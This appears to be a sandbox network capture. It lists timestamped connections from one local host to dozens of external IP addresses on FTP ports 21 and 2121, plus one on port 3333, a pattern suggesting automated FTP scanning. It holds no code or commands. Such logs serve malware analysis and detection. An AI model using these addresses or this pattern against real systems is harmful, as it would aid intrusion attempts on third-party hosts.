Aug 23, 2023 09:16:16.656173944 CEST	51783	2121	192.168.2.3	91.139.35.200
Aug 23, 2023 09:16:16.656176090 CEST	51782	2121	192.168.2.3	73.155.194.81
Aug 23, 2023 09:16:16.656176090 CEST	51778	21	192.168.2.3	75.175.101.48
Aug 23, 2023 09:16:16.656176090 CEST	51785	2121	192.168.2.3	99.19.80.161
Aug 23, 2023 09:16:16.656193018 CEST	51779	2121	192.168.2.3	75.175.101.48
Aug 23, 2023 09:16:16.656218052 CEST	51784	21	192.168.2.3	99.19.80.161
Aug 23, 2023 09:16:16.668725014 CEST	51841	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.669365883 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.690311909 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.690339088 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.690773010 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:16.752243996 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:16.752572060 CEST	51810	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:16.782813072 CEST	51829	21	192.168.2.3	93.77.51.182
Aug 23, 2023 09:16:16.782833099 CEST	51791	21	192.168.2.3	216.23.252.107
Aug 23, 2023 09:16:16.782840014 CEST	51830	2121	192.168.2.3	93.77.51.182
Aug 23, 2023 09:16:16.782917976 CEST	51806	2121	192.168.2.3	24.232.227.43
Aug 23, 2023 09:16:16.782917976 CEST	51805	21	192.168.2.3	24.232.227.43
Aug 23, 2023 09:16:16.785999060 CEST	51789	2121	192.168.2.3	172.88.93.218
Aug 23, 2023 09:16:16.786134958 CEST	51834	2121	192.168.2.3	175.123.248.89
Aug 23, 2023 09:16:16.796971083 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.797059059 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.797210932 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.822671890 CEST	21	51859	180.191.252.201	192.168.2.3
Aug 23, 2023 09:16:16.824245930 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.824711084 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.836026907 CEST	21	51829	93.77.51.182	192.168.2.3
Aug 23, 2023 09:16:16.837687969 CEST	51861	2121	192.168.2.3	180.191.252.201
Aug 23, 2023 09:16:16.842327118 CEST	2121	51830	93.77.51.182	192.168.2.3
Aug 23, 2023 09:16:16.843013048 CEST	51862	21	192.168.2.3	196.196.32.13
Aug 23, 2023 09:16:16.846177101 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.846522093 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.854027987 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.855504990 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.856749058 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.868614912 CEST	21	51833	175.123.248.89	192.168.2.3
Aug 23, 2023 09:16:16.889552116 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.890038013 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.895345926 CEST	51820	21	192.168.2.3	47.33.168.36
Aug 23, 2023 09:16:16.895442963 CEST	51821	2121	192.168.2.3	47.33.168.36
Aug 23, 2023 09:16:16.898004055 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.904752970 CEST	51793	21	192.168.2.3	189.128.91.206
Aug 23, 2023 09:16:16.904844999 CEST	51794	2121	192.168.2.3	189.128.91.206
Aug 23, 2023 09:16:16.919789076 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.919986010 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.920403957 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.920465946 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.920691013 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.920744896 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.920985937 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.949235916 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.955156088 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.955267906 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.965949059 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:16.966171980 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:16.966228008 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:16.966344118 CEST	51810	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:16.966450930 CEST	51810	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:16.967250109 CEST	51864	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:17.018153906 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.019347906 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.019721985 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.044727087 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.045126915 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.060482979 CEST	2121	51861	180.191.252.201	192.168.2.3
Aug 23, 2023 09:16:17.077488899 CEST	2121	51806	24.232.227.43	192.168.2.3
Aug 23, 2023 09:16:17.078183889 CEST	51865	2121	192.168.2.3	196.196.32.13
Aug 23, 2023 09:16:17.080113888 CEST	2121	51834	175.123.248.89	192.168.2.3
Aug 23, 2023 09:16:17.087892056 CEST	21	51805	24.232.227.43	192.168.2.3
Aug 23, 2023 09:16:17.088641882 CEST	51866	21	192.168.2.3	88.99.235.251
Aug 23, 2023 09:16:17.110213995 CEST	21	51820	47.33.168.36	192.168.2.3
Aug 23, 2023 09:16:17.110851049 CEST	51867	2121	192.168.2.3	88.99.235.251
Aug 23, 2023 09:16:17.114406109 CEST	21	51866	88.99.235.251	192.168.2.3
Aug 23, 2023 09:16:17.115077019 CEST	2121	51821	47.33.168.36	192.168.2.3
Aug 23, 2023 09:16:17.120024920 CEST	51868	21	192.168.2.3	213.155.208.233
Aug 23, 2023 09:16:17.137306929 CEST	2121	51867	88.99.235.251	192.168.2.3
Aug 23, 2023 09:16:17.146545887 CEST	51869	2121	192.168.2.3	213.155.208.233
Aug 23, 2023 09:16:17.147233963 CEST	51870	21	192.168.2.3	180.245.122.99
Aug 23, 2023 09:16:17.147835970 CEST	51871	2121	192.168.2.3	180.245.122.99
Aug 23, 2023 09:16:17.148444891 CEST	51872	21	192.168.2.3	91.48.109.84
Aug 23, 2023 09:16:17.151711941 CEST	51873	2121	192.168.2.3	91.48.109.84
Aug 23, 2023 09:16:17.153811932 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.154226065 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.169523001 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.170068979 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.179955959 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:17.180903912 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:17.181022882 CEST	51864	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:17.186225891 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.187870026 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.190941095 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.191833019 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.192171097 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.192943096 CEST	51874	21	192.168.2.3	126.22.4.228
Aug 23, 2023 09:16:17.226938963 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.227607012 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.245609999 CEST	51875	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:16:17.260626078 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.260657072 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.260839939 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.260906935 CEST	51863	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.267189026 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.293437004 CEST	2121	51863	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.293590069 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.293606997 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.293692112 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.293853045 CEST	51860	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.294517994 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.298175097 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.298360109 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.363826036 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.363965988 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.364140987 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.364140987 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.364156008 CEST	51859	21	192.168.2.3	180.191.252.201
Aug 23, 2023 09:16:17.364902973 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.365503073 CEST	21	51870	180.245.122.99	192.168.2.3
Aug 23, 2023 09:16:17.372761011 CEST	2121	51871	180.245.122.99	192.168.2.3
Aug 23, 2023 09:16:17.395411015 CEST	51833	21	192.168.2.3	175.123.248.89
Aug 23, 2023 09:16:17.415210009 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.415626049 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.417778015 CEST	21	51860	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.459326982 CEST	51879	2121	192.168.2.3	126.22.4.228
Aug 23, 2023 09:16:17.478591919 CEST	21	51874	126.22.4.228	192.168.2.3
Aug 23, 2023 09:16:17.479857922 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:17.480200052 CEST	51864	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:17.502151012 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.502676010 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.505433083 CEST	51880	21	192.168.2.3	75.174.192.67
Aug 23, 2023 09:16:17.505891085 CEST	51881	2121	192.168.2.3	75.174.192.67
Aug 23, 2023 09:16:17.534567118 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.534622908 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.535022020 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.535552025 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.536561966 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.536602974 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.536732912 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.536890984 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.567564964 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.567950010 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.568041086 CEST	51882	21	192.168.2.3	66.57.248.161
Aug 23, 2023 09:16:17.586469889 CEST	21	51859	180.191.252.201	192.168.2.3
Aug 23, 2023 09:16:17.598568916 CEST	51834	2121	192.168.2.3	175.123.248.89
Aug 23, 2023 09:16:17.598813057 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.598853111 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.599050999 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.599371910 CEST	51876	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.600263119 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.629411936 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.629455090 CEST	2121	51876	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.629547119 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.657015085 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.657480001 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.661133051 CEST	51867	2121	192.168.2.3	88.99.235.251
Aug 23, 2023 09:16:17.661211014 CEST	51866	21	192.168.2.3	88.99.235.251
Aug 23, 2023 09:16:17.661220074 CEST	51861	2121	192.168.2.3	180.191.252.201
Aug 23, 2023 09:16:17.662715912 CEST	51884	2121	192.168.2.3	66.57.248.161
Aug 23, 2023 09:16:17.669528008 CEST	21	51833	175.123.248.89	192.168.2.3
Aug 23, 2023 09:16:17.670413017 CEST	51885	21	192.168.2.3	85.0.78.55
Aug 23, 2023 09:16:17.683624983 CEST	21	51866	88.99.235.251	192.168.2.3
Aug 23, 2023 09:16:17.683842897 CEST	2121	51867	88.99.235.251	192.168.2.3
Aug 23, 2023 09:16:17.684489965 CEST	21	51885	85.0.78.55	192.168.2.3
Aug 23, 2023 09:16:17.693734884 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:17.739584923 CEST	2121	51879	126.22.4.228	192.168.2.3
Aug 23, 2023 09:16:17.757385969 CEST	51886	2121	192.168.2.3	85.0.78.55
Aug 23, 2023 09:16:17.771229029 CEST	2121	51886	85.0.78.55	192.168.2.3
Aug 23, 2023 09:16:17.779239893 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.779829025 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.800827980 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.801390886 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:17.826999903 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.827389956 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.857507944 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.857717037 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.863629103 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.884397984 CEST	2121	51861	180.191.252.201	192.168.2.3
Aug 23, 2023 09:16:17.892076969 CEST	2121	51834	175.123.248.89	192.168.2.3
Aug 23, 2023 09:16:17.895559072 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.895925045 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.895926952 CEST	51887	21	192.168.2.3	24.114.214.227
Aug 23, 2023 09:16:17.900087118 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.900121927 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:17.900249958 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.900374889 CEST	51877	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.907450914 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:17.925530910 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.925847054 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.925913095 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.925951004 CEST	51883	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.926868916 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.955039024 CEST	2121	51883	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.956163883 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:17.956322908 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:17.973593950 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.975617886 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:17.976068020 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.009654999 CEST	21	51887	24.114.214.227	192.168.2.3
Aug 23, 2023 09:16:18.020948887 CEST	21	51877	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.022583961 CEST	51890	21	192.168.2.3	62.235.21.230
Aug 23, 2023 09:16:18.022679090 CEST	51891	2121	192.168.2.3	24.114.214.227
Aug 23, 2023 09:16:18.029683113 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.029778004 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.051691055 CEST	51871	2121	192.168.2.3	180.245.122.99
Aug 23, 2023 09:16:18.051781893 CEST	51870	21	192.168.2.3	180.245.122.99
Aug 23, 2023 09:16:18.098644972 CEST	51809	2121	192.168.2.3	23.54.70.127
Aug 23, 2023 09:16:18.098644972 CEST	51874	21	192.168.2.3	126.22.4.228
Aug 23, 2023 09:16:18.098661900 CEST	51807	2121	192.168.2.3	94.220.107.112
Aug 23, 2023 09:16:18.098695040 CEST	51808	21	192.168.2.3	23.54.70.127
Aug 23, 2023 09:16:18.098726034 CEST	51804	21	192.168.2.3	94.220.107.112
Aug 23, 2023 09:16:18.138525963 CEST	2121	51891	24.114.214.227	192.168.2.3
Aug 23, 2023 09:16:18.148525000 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.149410009 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.152502060 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.152936935 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.161190987 CEST	51859	21	192.168.2.3	180.191.252.201
Aug 23, 2023 09:16:18.161235094 CEST	51812	2121	192.168.2.3	115.69.160.136
Aug 23, 2023 09:16:18.161240101 CEST	51813	21	192.168.2.3	1.212.152.146
Aug 23, 2023 09:16:18.161248922 CEST	51814	2121	192.168.2.3	1.212.152.146
Aug 23, 2023 09:16:18.161276102 CEST	51817	21	192.168.2.3	45.79.191.209
Aug 23, 2023 09:16:18.161279917 CEST	51818	2121	192.168.2.3	45.79.191.209
Aug 23, 2023 09:16:18.164053917 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.165121078 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.194478035 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.196166992 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.196707964 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.228936911 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.230297089 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.260396957 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.260719061 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.260734081 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.260798931 CEST	51889	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.261662006 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.268476963 CEST	21	51870	180.245.122.99	192.168.2.3
Aug 23, 2023 09:16:18.275012016 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.275418043 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.275618076 CEST	2121	51871	180.245.122.99	192.168.2.3
Aug 23, 2023 09:16:18.286137104 CEST	51815	21	192.168.2.3	54.169.184.71
Aug 23, 2023 09:16:18.286155939 CEST	51816	2121	192.168.2.3	54.169.184.71
Aug 23, 2023 09:16:18.286190987 CEST	51811	21	192.168.2.3	115.69.160.136
Aug 23, 2023 09:16:18.291522980 CEST	2121	51889	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.292192936 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.292295933 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.312577009 CEST	51867	2121	192.168.2.3	88.99.235.251
Aug 23, 2023 09:16:18.312589884 CEST	51885	21	192.168.2.3	85.0.78.55
Aug 23, 2023 09:16:18.312608957 CEST	51879	2121	192.168.2.3	126.22.4.228
Aug 23, 2023 09:16:18.312688112 CEST	51866	21	192.168.2.3	88.99.235.251
Aug 23, 2023 09:16:18.312690020 CEST	51886	2121	192.168.2.3	85.0.78.55
Aug 23, 2023 09:16:18.320862055 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.320894957 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.321011066 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.321198940 CEST	51878	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.322099924 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.326585054 CEST	21	51885	85.0.78.55	192.168.2.3
Aug 23, 2023 09:16:18.326778889 CEST	2121	51886	85.0.78.55	192.168.2.3
Aug 23, 2023 09:16:18.334925890 CEST	21	51866	88.99.235.251	192.168.2.3
Aug 23, 2023 09:16:18.335207939 CEST	2121	51867	88.99.235.251	192.168.2.3
Aug 23, 2023 09:16:18.336210966 CEST	51894	2121	192.168.2.3	62.235.21.230
Aug 23, 2023 09:16:18.336272001 CEST	51895	21	192.168.2.3	20.254.16.173
Aug 23, 2023 09:16:18.380996943 CEST	21	51874	126.22.4.228	192.168.2.3
Aug 23, 2023 09:16:18.381417036 CEST	21	51859	180.191.252.201	192.168.2.3
Aug 23, 2023 09:16:18.382582903 CEST	51896	2121	192.168.2.3	20.254.16.173
Aug 23, 2023 09:16:18.395507097 CEST	51823	21	192.168.2.3	193.82.237.136
Aug 23, 2023 09:16:18.395529032 CEST	51824	2121	192.168.2.3	193.82.237.136
Aug 23, 2023 09:16:18.396864891 CEST	51897	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:18.397061110 CEST	51898	2121	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:18.397883892 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.398353100 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.413187027 CEST	21	51897	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:18.413275003 CEST	51897	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:18.451313972 CEST	51861	2121	192.168.2.3	180.191.252.201
Aug 23, 2023 09:16:18.453782082 CEST	21	51897	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:18.453996897 CEST	51897	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:18.454999924 CEST	51899	21	192.168.2.3	62.153.102.18
Aug 23, 2023 09:16:18.470309019 CEST	21	51897	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:18.470442057 CEST	51897	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:18.492181063 CEST	21	51878	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.493504047 CEST	21	51893	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:18.493613005 CEST	51893	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:18.496752024 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.497066021 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.506357908 CEST	51900	2121	192.168.2.3	62.153.102.18
Aug 23, 2023 09:16:18.507477999 CEST	51901	21	192.168.2.3	184.97.221.114
Aug 23, 2023 09:16:18.510500908 CEST	51902	2121	192.168.2.3	184.97.221.114
Aug 23, 2023 09:16:18.511496067 CEST	51903	21	192.168.2.3	23.208.92.194
Aug 23, 2023 09:16:18.511554956 CEST	51905	2121	192.168.2.3	23.208.92.194
Aug 23, 2023 09:16:18.511579990 CEST	51904	21	192.168.2.3	195.13.244.30
Aug 23, 2023 09:16:18.511641026 CEST	51906	2121	192.168.2.3	195.13.244.30
Aug 23, 2023 09:16:18.520315886 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.520391941 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.520463943 CEST	51887	21	192.168.2.3	24.114.214.227
Aug 23, 2023 09:16:18.520476103 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.520836115 CEST	51888	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.521647930 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.522716999 CEST	51908	21	192.168.2.3	185.88.56.201
Aug 23, 2023 09:16:18.522748947 CEST	51909	2121	192.168.2.3	185.88.56.201
Aug 23, 2023 09:16:18.522839069 CEST	51910	21	192.168.2.3	87.123.248.67
Aug 23, 2023 09:16:18.526266098 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.527797937 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.528189898 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.551762104 CEST	51827	2121	192.168.2.3	24.92.169.90
Aug 23, 2023 09:16:18.551795006 CEST	51826	21	192.168.2.3	24.92.169.90
Aug 23, 2023 09:16:18.592519045 CEST	2121	51879	126.22.4.228	192.168.2.3
Aug 23, 2023 09:16:18.596291065 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.596772909 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.598638058 CEST	51831	21	192.168.2.3	211.224.167.248
Aug 23, 2023 09:16:18.626270056 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.626553059 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.626708984 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.626769066 CEST	51892	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.627403021 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.631464958 CEST	51912	2121	192.168.2.3	87.123.248.67
Aug 23, 2023 09:16:18.634139061 CEST	21	51887	24.114.214.227	192.168.2.3
Aug 23, 2023 09:16:18.642015934 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.642148018 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.642574072 CEST	21	51888	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.645507097 CEST	51891	2121	192.168.2.3	24.114.214.227
Aug 23, 2023 09:16:18.656286955 CEST	2121	51892	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.659710884 CEST	2121	51911	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:18.659813881 CEST	51911	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:18.674221992 CEST	2121	51861	180.191.252.201	192.168.2.3
Aug 23, 2023 09:16:18.675230980 CEST	51913	21	192.168.2.3	220.83.91.64
Aug 23, 2023 09:16:18.694281101 CEST	21	51864	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:18.694694042 CEST	51864	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:18.708007097 CEST	51832	2121	192.168.2.3	211.224.167.248
Aug 23, 2023 09:16:18.740113974 CEST	51914	2121	192.168.2.3	220.83.91.64
Aug 23, 2023 09:16:18.760762930 CEST	2121	51891	24.114.214.227	192.168.2.3
Aug 23, 2023 09:16:18.762701035 CEST	21	51907	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:18.763050079 CEST	51907	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:18.770514011 CEST	51870	21	192.168.2.3	180.245.122.99
